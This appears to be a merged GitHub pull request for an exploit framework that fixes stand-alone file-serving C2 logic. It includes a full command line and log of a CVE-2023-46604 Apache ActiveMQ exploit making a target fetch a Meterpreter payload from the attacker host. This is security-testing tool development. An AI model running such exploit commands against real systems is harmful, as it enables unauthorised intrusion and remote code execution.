Fixes stand-alone fileserve #259
Merged
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
HTTPFileServe stand-alone has been broken since the channel update. Specifically, HTTPFileServe is supposed to use lhost and lport when its by itself and HTTPAddr and HTTPPort when used with another C2. The lhost and lport logic has been broken resulting in errors like this:
time=2024-10-25T11:13:21.938-04:00 level=STATUS msg="Starting an HTTP server on :0"This updated logic gets us bad to normalcy:
``console
albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -v -c -e -a -rhost 10.9.49.56 -httpAddr 10.9.49.192 -lhost 10.9.49.192 -lport 8181 -c2 HTTPServeFile -httpServeFile.FilesToServe /tmp/meterpreter
time=2024-10-25T11:13:44.424-04:00 level=STATUS msg="Loading the provided file: /tmp/meterpreter"
time=2024-10-25T11:13:44.425-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=true
time=2024-10-25T11:13:44.425-04:00 level=STATUS msg="Starting an HTTP server on 10.9.49.192:8181"
time=2024-10-25T11:13:44.552-04:00 level=STATUS msg="Validating Apache ActiveMQ target" host=10.9.49.56 port=61616
time=2024-10-25T11:13:44.568-04:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.56 port=61616 verified=true
time=2024-10-25T11:13:44.568-04:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.56 port=61616
time=2024-10-25T11:13:44.589-04:00 level=VERSION msg="The reported version is 5.15.2" host=10.9.49.56 port=61616 version=5.15.2
time=2024-10-25T11:13:44.589-04:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.56 port=61616 vulnerable=yes
time=2024-10-25T11:13:44.589-04:00 level=STATUS msg="Sending a curl payload for port 10.9.49.192:8181"
time=2024-10-25T11:13:44.590-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/ZYFkHPvTBdKS"
time=2024-10-25T11:13:46.592-04:00 level=STATUS msg=Connecting...
time=2024-10-25T11:13:46.640-04:00 level=STATUS msg="Sending exploit"
time=2024-10-25T11:13:46.660-04:00 level=STATUS msg="Sending payload"
time=2024-10-25T11:13:46.676-04:00 level=STATUS msg="Sending payload"
time=2024-10-25T11:13:46.734-04:00 level=STATUS msg="Connection from 10.9.49.56:46474 requested /DkBXbIrCWGSC"
time=2024-10-25T11:13:51.647-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
time=2024-10-25T11:14:14.443-04:00 level=STATUS msg="Shutting down the HTTP Server"
time=2024-10-25T11:14:14.443-04:00 level=STATUS msg="C2 server exited"